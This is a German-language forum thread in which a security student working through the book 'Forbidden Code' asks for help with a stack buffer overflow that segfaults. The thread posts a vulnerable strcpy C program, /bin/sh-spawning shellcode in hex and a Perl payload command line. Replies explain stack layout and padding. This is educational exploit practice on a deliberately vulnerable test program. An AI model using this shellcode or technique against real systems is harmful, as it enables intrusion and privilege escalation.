Stackoverflow mittels Perl

Hiho - bin ganz neu auf diesem Board und bin gerade am Lesen von dem Buch "Forbidden Code".

Ich bin auf den Geschmack gekommen "Buffer Overflows zu programmieren" seit dem ich auf der Uni eine Security Vorlesung hatte und das die einzige Übung war die ich nicht geschaft habe*G* (andere Übungen waren SQL-Injections, Parameter Injections, per java Programme zu schreiben die mit pcap arbeiten um PW zusammeln, ebenso SSL PW herausfinden) - > nun bin ich gerade am Lesen und schon in dem 2 Kapitel habe ich meine Probleme.

Am Anfang gibt es Bsp wie man per C ein Exploit schreiben kann. Das funktioniert ohne Probleme dann gibt es aber auch ein kleines BSP wie man das selbe Programm exploiden kann und zwar per Perl -> leider bekomm ich da nur ein "Segmentation fault"

Ich verwende Ubuntu -> /proc/sys/kernel/randomize_va_space hab ich auf 0 gestellt.

Hat jemand bei der selben Stelle Probleme gehabt ? Muss man noch was abdrehen damit man das auch unter Perl bewerkstelligen kann ?

Wenn ich darf und Ihr wollts kann ich auch gerne den Code aus dem Buch mal reinschreiben vielleicht gibt es ja einen Druckfehler.....

Danke für jeden Tipp ;)

LG Castor_Troy
 
Du weisst hoffentlich, dass die Adressen, die im Buch verwendet werden, nicht deine eigenen repräsentieren. D.h. auf jedem PC sind die Adressen ( z.b. bei Shellvariablen oder Rücksprungpunkten ) unterschiedlich, d.h. hier musst du selbst Anpassungen vornehmen.
Der Segmentation Fault-Fehler hat schon seine Richtigkeit, diese Fehlermeldung bekommst du, wenn du über die Speichergrenzen einer Variable "hinausschreibst". Letzendlich musst du nur etwas rumspielen. Die Länge der NOPs, bzw der "A" ist je nach Compiler unterschiedlich. Bei früheren GCC-Version war das sog. Padding afaik anders, als das bei heutigen Versionen ist. Einfach mal ein bisschen rumspielen und/oder gdb zu Hilfe nehmen.
 
hi vielen Dank erstmals ;) Das mit der Rücksprungadresse hab ich mir schon gedacht und hab im gdb mal geschaut und hab die mir angezeigte Speicheradresse verwedent - was ich aber nicht so ganz verstehe ist das mit den A's -> muss ich selber herausfinden wieviele A's ich brauche ? wenn ja kannst du mir da ein Tipp geben - > Finde das Buch zwar toll aber solche Sachen kommen im Buch zumindenstens in den 1,2 Kapiteln nicht wirklich rüber -> wie man sowas berechnet ......

Danke aber mal für die Tipps ;)
 
Als Grundlagen-Tutorial kann ich dir sehr "Smashing the Stack for Fun and Profit" von Aleph One an's Herz legen. Das macht das Verständnis der theoretischen Grundlagen sicherlich um einiges einfacher.
 
thx für den Tipp mit dem Tutorial von Aleph One - hatte den Link aber schon damals von dem Unifach -> find es zwar sehr gut aber vielleicht für den Anfang ein wenig zuviel Assembler , wollte nur mal fragen ob vielleicht jemand das Beispiel aus dem Buch "Forbidden Code" etwas genauer erklären könnte so das man es daheim auch selbst einmal testen kann.

Ich geb hier mal den Code für das verwundbare Programm ein:

vuln.c

Code:
int main(int argc, char *argv[])
{
  char buffer[500];
  strcpy(buffer, argv[1]);
  return 0;
}

der shellcode sieht so aus:
Code:
x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43
\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

dieser shellcode wurde per perl ausgegeben und per pipe in die Datei shellcode gespeichert

Nun wollte ich so wie im Buch das hier verewenden:

Code:
./vuln `perl -e 'print "A"x202;'``cat shellcode`

Laut der Berechnung von dem Buch soll der Shellcode 46 Bytes groß sein und der NOP-Sled 200 und daher brauche man noch 2 extra bytes damit es durch 4 teilbar ist.....

Die Rücksprungadresse würde ich dann per gdb holen -> nur stimmt die Anzahl der A's ? wie bekomme ich nun wirklich heraus wieviele ich davon brauche?

Thx für jede Antwort ;) Hoffe das mit dem Code ist kein Problem hier, das ich in hier rein gepostet habe
 
Du musst das Buch schon richtig weiterlesen. Nun wird naemlich die Rücksprungadresse hinten dran gehaengt, sodass der Buffer ( das "500er Array" ) ueberschrieben wird. Genau DAS willst du ja erreichen. Lass dir erstmal klar werden, was ein Buffern Overflow ueberhaupt ist und mach dann die Beispiele.
 
ehm ich wollte nur mal fragen wegen der Anzahl der A's mir ist schon klar das ich noch die Rücksprungadresse brauche (steht ja im obrigen thread dabei....)

Lg Castor_Troy ;)
 
Stell dir mal folgende Fragen:

Wozu brauche ich die "A"s?
Was ist ein Buffer Overflow?
Wie funktioniert ein Buffer Overflow (theoretisch?)?
Warum muss die Zahl durch 4 teilbar sein?

Wenn du diese 4 Fragen beantworten kannst, dann kannst du dich an ein Beispiel wagen. Vorher wuerd ich persoenlich nichts machen, da du durch den den ständigen Wechsel von Lesen und Schreiben keinen wirklichen Lerneffekt erzielst, sondern erstmal alles durcheinander bringst und manche Dinge auch einfach nur überliesst.

Wenn du diese 4 Fragen beantworten konntest, dann les hier weiter:
Wieviel As du jetzt nimmst haengt also theoretisch davon ab, wieviel Rücksprungadressen du hast. Hier musst du einfach etwas rumspielen. Buffer (500) -> SFP (4) -> Rücksprungadresse (4). Theoretisch müsstest du also 504 Zeichen mit deinen As und deinem Shellcode überschreiben und die nächsten 4 Bytes mit der Rücksprungadresse zum Shellcodes. Praktisch muss man zu dieser Zahl allerdings noch etwas hinzuzaehlen ( z.b. das sog. Padding vom Compiler ).
Wie gesagt: Spiel einfach etwas rum.
(falls ich was falschen erzaehlt hab, bitte verbessert mich... )
 
Zurück
Oben